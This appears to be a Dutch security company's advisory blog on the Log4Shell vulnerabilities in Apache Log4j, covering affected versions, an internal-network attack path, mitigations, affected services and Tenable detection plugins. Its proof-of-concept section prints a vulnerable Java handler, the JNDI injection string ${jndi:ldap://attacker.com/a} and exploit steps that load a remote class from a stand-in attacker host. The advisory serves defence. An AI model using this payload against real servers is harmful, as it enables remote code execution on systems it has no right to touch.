« Terug naar nieuws

CVE-2021-44228 / CVE-2021-45046 : Kritische kwetsbaarheden Apache Log4j met Remote Code Execution, Proof-of-Concept beschikbaar (Log4Shell)

10 december 2021

Helaas gebeurt het vaak vlak voor het weekend. Een ernstig lek in stuk software die veelvuldig wordt gebruikt binnen heel veel systemen, waaronder Apple iCloud en Minecraft. Via dit blog houden we jullie op de hoogte van de laatste updates rondom deze kwetsbaarheid, hoe je kan beschermen en hoe je kan detecteren. Dit blog wordt de komende tijd aangevuld met updates rondom #log4j.

Bronnen: Access42, Tenable, CrowdStrike, Vectra

Kwetsbare versie:

Apache Log4j van 2.0-beta9 tot 2.14, 2.15 en 2.16

Log4j versie 1 is kwetsbaar voor andere RCE aanvallen (bijvoorbeeld CVE-2019-17571), als je deze nog gebruikt moet je migreren naar minimaal versie 2.16.0.

Updates:

  • Update 18-12-2021: Apache heeft Log4j versie 2.17.0 uitgebracht en CVE-2021-45105 aangekondigd, een Denial of Service kwetsbaarheid die kan worden uitgebuit in niet-default configuraties.
  • Update 17-12-2021: Eerder vandaag werd de tweede Log4j-kwetsbaarheid (CVE-2021-45046) opgewaardeerd van een CVSS-score van 3,7 (beperkt DOS) naar een CVSS-score van 9,0 (beperkt RCE). Zie ook de blog van LunaSec. Ons advies is aangepast.
  • Update 15-12-2021: Een tweede kwetsbaarheid (CVE-2021-45046) is geidentificeerd binnen Log4j. Hiermee is Log4j versie 2.15.0 kwetsbaar voor een denial-of-service aanval met een CVSS base score van 3.7 (low severity). Versie 2.15.0 beschermt wel tegen de RCE! Het advies is om naar 2.16.0 te upgraden of de mitigerende maatregelen van Apache door te voeren.
  • Update 13-12-2021: Het NCSC heeft een overzicht beschikbaar gesteld met kwetsbare applicaties en systemen.
  • Update 12-12-2021: Access42 heeft opgemerkt dat bij verschillende organisaties snel het beeld ontstaat dat alleen internet-facing componenten (met een kwetsbare Log4j versie van belang zijn) voor deze CVE-kwetsbaarheid. Om deze reden heeft Access42 de verstrekkende gevolgen nader toegelicht onder de paragraaf: Mogelijke impact ook voor de interne IT-infrastructuur
  • Update 11-12-2021: Andrew Spearson heeft op Github een Log4Shell detectie Cheat Sheet gepubliceerd om snel en eenvoudig Log4k installaties te vinden zonder opnieuw te hoeven scannen met Tenable.

Achtergrond

Op 9 december hebben onderzoekers proof-of-concept (PoC) exploitcode gepubliceerd voor een kritieke kwetsbaarheid in Apache Log4j 2, een Java-logbibliotheek die wordt gebruikt door een aantal toepassingen en diensten, waaronder, maar niet beperkt tot:

Wanneer de kwetsbaarheid wordt uitgebuit, zal Log4j Remote Code Execution (RCE) mogelijk maken. Dit wordt bijzonder problematisch omdat softwarepakketten zoals Apache Struts meestal op het internet zijn gericht.

De Log4j bibliotheek wordt vaak meegeleverd of gebundeld met softwarepakketten van derde partijen en wordt zeer vaak gebruikt in combinatie met Apache Struts. De CVE treft alle ongepatchte versies van Log4j van 2.0-beta9 tot 2.14.

De onderzoekers noemden deze kwetsbaarheid Log4Shell en meldden dat verschillende versies van Minecraft, het populaire sandbox videospel, door deze kwetsbaarheid waren getroffen.

Daarnaast blijken ook clouddiensten als Steam en Apple iCloud getroffen te zijn.

Deze kwetsbaarheid wordt als zo ernstig beschouwd dat de CEO van Cloudflare van plan is om alle klanten bescherming te bieden.

Ondertussen is de tweede Log4j-kwetsbaarheid (CVE-2021-45046) opgewaardeerd van een CVSS-score van 3,7 (beperkt DOS) naar een CVSS-score van 9,0 (RCE).

Analyse

CVE-2021-44228 is een remote code execution (RCE) kwetsbaarheid in Apache Log4j 2. Een niet-geauthenticeerde aanvaller op afstand kan dit lek misbruiken door een speciaal gemanipuleerd verzoek te sturen naar een server met een kwetsbare versie van Log4j. Het gemanipuleerde verzoek gebruikt een Java Naming and Directory Interface (JNDI) injectie via een aantal diensten, waaronder:

  • Lightweight Directory Access Protocol (LDAP)
  • Secure LDAP (LDAPS)
  • Remote Method Invocation (RMI)
  • Domain Name Service (DNS)

Als de kwetsbare server log4j gebruikt om verzoeken te loggen, zal de exploit vervolgens een kwaadaardige payload over JNDI via een van de bovenstaande diensten opvragen bij een door de aanvaller gecontroleerde server. Succesvolle exploitatie kan leiden tot RCE.

Mogelijke impact ook voor de interne IT-infrastructuur

De meeste nieuwspublicaties gaan uit van een situatie waarbij een internet-facing component gebruik maakt van een kwetsbare Log4j. Hierdoor bestaat bij sommige organisaties al snel het beeld dat er alleen dat een risico bestaat.

Helaas, niets is minder waar. De impact van deze kwetsbaarheid kunnen zulke verstrekkende gevolgen hebben dat dit ook de interne IT-infrastructuur kan raken, waarbij ook het internet-facing component geen gebruik hoeft te maken van een Log4j bibliotheek.

In de onderstaande afbeelding heeft Access42 deze use-case inzichtelijk gemaakt:

Toelichting use-case aanval:

  • Vanaf het internet zijn twee IT-services beschikbaar (een HTTP-service en Java RMI-interface). De HTTP-interface is voor het internet toegankelijk en de RMI-service mogelijk alleen voor semi-vertrouwde leveranciers.
  • Een aanvaller injecteert een JDNI exploit string in de User-Agent van een HTTP-request van het BuyCar portaal. Het BuyCar portaal maakt zelf geen gebruik van Log4j en is daarom zelfstandig niet kwetsbaar.
  • Het BuyCar portaal moet voor het zoeken en vergelijken van verschillende auto’s en backend request uitvoeren. Hiervoor wordt een backend-service bevraagd. Informatie van de bezoeker (publiek IP-adres, User-Agent, Referrer, etc.) wordt hierbij via een HTTP-request meegestuurd naar de backend-service.
  • De eerste back-end service heeft Log4j, maar heeft mogelijk geen kwetsbare Log4j versie. De backend-service roept vervolgens weer een andere backend service op in de “very trusted internal network” zone. Hier onstaat dezelfde flow als hiervoor.
  • Deze back-end maakt echter wel gebruik van een kwetsbare Log4j versie. De meegestuurde User-Agent wordt vervolgens gelogd met Log4j en triggert een JNDI look-up naar het internet.
  • Er is vervolgens een Remote Code Execution uitgevoerd in de “very trusted” netwerkzone van de organisatie.

De bovenstaande use-case laat de verstrekkende gevolgen zien van de CVE-2021-44228 kwetsbaarheid. Deze situatie is niet goed te overzien door organisaties en betekent dat het ook van belang is om afdoende maatregelen te hebben voor de interne IT-infrastructuur.

Het is van belang dat organisaties ook zorgen dat er ook mitigerende maatregelen zijn genomen voor de interne IT-infrastructuur.

Toename van aanvallen waargenomen

Wij zien op dit moment samen met onze partners CrowdStrike, Vectra en Tenable een enorme toename van verschillende (onbekende) actoren die actief scannen voor de CVE-2021-44228 en deze proberen uit te buiten. Het is van cruciaal belang dat organisaties kwetsbare infrastructuur zo snel mogelijk gaat patchen.

Daarnaast zijn er meerdere meldingen dat de kwetsbaarheid actief gebruikt wordt voor het implanteren van cryptocurrency miners.

https://twitter.com/GossiTheDog/status/1469322120840708100

De kwetsbaarheid in deze functionaliteit kan worden uitgebuit als er een logbericht weggeschreven wordt. Dit komt in allerlei verschillende situaties voor en is context-afhankelijk, zoals bijvoorbeeld:

  • Bij het invullen van bijvoorbeeld een loginscherm waarbij het gebruikersnaam veld in het logbericht opgenomen wordt;
  • Bij het versturen van een verzoek naar een webserver (waarbij een User-Agent-header naar de server verstuurd wordt; dit is een waarde waar een aanvaller controle heeft);
  • Bij het aanpassen van elk ander veld in een applicatie waarbij het veld in het logbericht opgenomen wordt.

Kortom: Applicaties die op afstand toegankelijk zijn, gebruikersinvoer kunnen verwerken en een kwetsbare versie van log4j gebruiken om deze invoer te loggen, zijn in potentie kwetsbaar.

Proof of Concept

De eerste PoC voor CVE-2021-44228 werd vrijgegeven op 9 december, nog voordat de CVE-identificatie werd toegekend. Op het moment dat deze blog post werd gepubliceerd, waren er nog een aantal PoC’s beschikbaar op GitHub.

Hoe werkt de exploit:

Exploit requirements:

  • Een server met een kwetsbare log4j versie (zie hierboven),
  • een endpoint met een willekeurig protocol (HTTP, TCP, enz.) dat een aanvaller in staat stelt de exploit string te verzenden,
  • en een log statement dat de string van dat verzoek uitlogt.

Voorbeeld kwetsbare code

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    String userAgent = he.getRequestHeader("user-agent");

    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:{}", userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Christophetd heeft op Github een omschrijving gemaakt om de kwetsbaarheid lokaal te testen en te reproduceren.

Exploit stappen

  1. Data from the User gets sent to the server (via any protocol),
  2. The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
  3. The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI),
  4. This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
  5. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.

Omdat Java kwetsbaarheden zoals deze veel voorkomen, hebben beveiligingsonderzoekers tools gemaakt om ze gemakkelijk uit te buiten. Het marshalsec project is een van de vele die demonstreert hoe een exploit payload kan worden gegenereerd die voor deze kwetsbaarheid kan worden gebruikt. Je kunt deze kwaadaardige LDAP server bekijken voor een voorbeeld van exploitatie.

Advies

Access42 komt tot de volgende adviezen:

Egress filtering toepassen
Het advies is om egress filtering toe te passen om de impact van de kwetsbaarheid te mitigeren. Hierdoor is het nog steeds mogelijk om JNDI exploit strings te injecteren in Log4j berichten, maar is er een beperktere impact doordat er geen malicious payload via JNDI van het internet kunnen worden gedownload.

Intrusion Prevention System (IPS)
Het advies is om een Intrusion Prevention System (IPS) te gebruiken met signatures voor detectie en preventie van CVE-2021-44228. Emerging Threats (ET) heeft voor Suricata bijvoorbeeld detectieregels vrijgegeven (publiekelijk en gratis), maar zo hebben verschillende andere vendoren dit ook gedaan.

Controleer of deze signatures ook actief en effectief zijn.

Patching van Log4j

Het advies is om Log4j te patchen. Hoewel Apache op 6 december een release candidate publiceerde om deze kwetsbaarheid te verhelpen, was deze onvolledig. Apache bracht 2.15.0 uit op 10 december, deze bevatte een nieuwe kwetsbaarheid (CVE-2021-45046, beperkt RCE). Het is raadzaam te updaten naar versie 2.17.0.

Log4j 2.15.0 en hoger vereist Java 8. Organisaties die Java 7 gebruiken zullen daarom eerst moeten upgraden voordat ze kunnen updaten naar de gepatchte versie van Log4j.

Apache adviseert dat als patchen niet direct mogelijk is, er drie manieren zijn om deze kwetsbaarheid tegen te gaan:

MitigationApplicable Versions
Set log4j.formatMsgNoLookups or Dlog4j.formatMsgNoLookups to trueLog4j 2.10 or greater
Use %m{nolookups} in the PatternLayout configurationLog4j 2.7 or greater
Remove JdniLookup and JdniManager classes from log4j-core.jarAll Log4j 2 versions

Omdat Log4j in een aantal webapplicaties is opgenomen en door verschillende cloud-diensten wordt gebruikt, zal de volledige omvang van deze kwetsbaarheid nog wel even op zich laten wachten. Op het moment van publicatie van deze blogpost is echter bevestigd dat onder meer de volgende producten en diensten kwetsbaar zijn:

Product/ServiceConfirmed Affected
MinecraftYes
SteamYes
Apple iCloudYes
TencentYes
TwitterYes
BaiduYes
DidiYes
CloudflareYes
AmazonYes
TeslaYes
ElasticSearchYes
GhidraYes

Er wordt een GitHub repository bijgehouden die het aanvalsoppervlak van deze kwetsbaarheid belicht.

Om te voorkomen dat er een agile kwetsbaarheid optreed omdat productie wel is gepatched, maar de volgende sprint vanuit acceptatie deze patch niet heeft, raden we aan alle omgevingen te patchen. Hiermee voorkomt u dat de kwetsbaarheid opnieuw tevoorschijn komt.

Identificeren kwetsbare systemen

Een lijst van Tenable plugins om deze kwetsbaarheid te identificeren zal hier verschijnen wanneer ze worden vrijgegeven. Daarnaast willen we graag de volgende plugins onder de aandacht brengen (beschikbaar in plugin set 202112112213 en later) :

Remote checks 

  • Plugin ID 156014 – Apache Log4Shell RCE detection via callback correlation (Direct Check HTTP) – This remote check can be used to identify the vulnerability without authentication. This plugin is compatible with Tenable cloud scanners
  • Plugin ID 155998 – Apache Log4j Message Lookup Substitution RCE (Log4Shell) (Direct Check) – This plugin listens for an LDAP BIND connection from a target host. It is not compatible with Tenable.io cloud scanners and may fail to return results in certain networks due to firewall rules or interference from other security devices. We continue to explore options for additional detection and recommend Tenable.io cloud scanner customers use the following four plugins.

Version checks and local detection (authentication required)

  • Plugin ID 155999 – Apache Log4j < 2.15.0 Remote Code Execution
  • Plugin ID 156000 – Apache Log4j Installed (Unix)
  • Plugin ID 156001 – Apache Log4j JAR Detection (Windows)
  • Plugin ID 156002 – Apache Log4j < 2.15.0 Remote Code Execution

Daarnaast is een uitgebreide Tenable.io Web App Scanning (WAS) plugin uitgebracht die kan worden gebruikt om invoervelden te testen die kunnen worden gebruikt om Log4Shell te exploiteren.

  • Plugin ID 113075 – Apache Log4j Remote Code Execution (Log4Shell)

Tenable heeft scans templates uitgebracht voor Tenable.io, Tenable.sc en Nessus Professional die vooraf zijn geconfigureerd om snel op deze kwetsbaarheid te kunnen scannen. Daarnaast beschikken Tenable.io klanten over een nieuw dashboard en widgets in de widgets-bibliotheek.

Tenable.sc gebruikers hebben ook een nieuw Log4Shell dashboard. Om ervoor te zorgen dat uw scanner over de nieuwste beschikbare plugins beschikt, raden wij je aan de plugin-set handmatig bij te werken. Nessus-gebruikers, inclusief Tenable.io Nessus-scanners, kunnen het volgende Nessus CLI-commando gebruiken:

nessuscli fix –secure –delete feed_auto_last

Meer informatie

Deel dit artikel

log4shell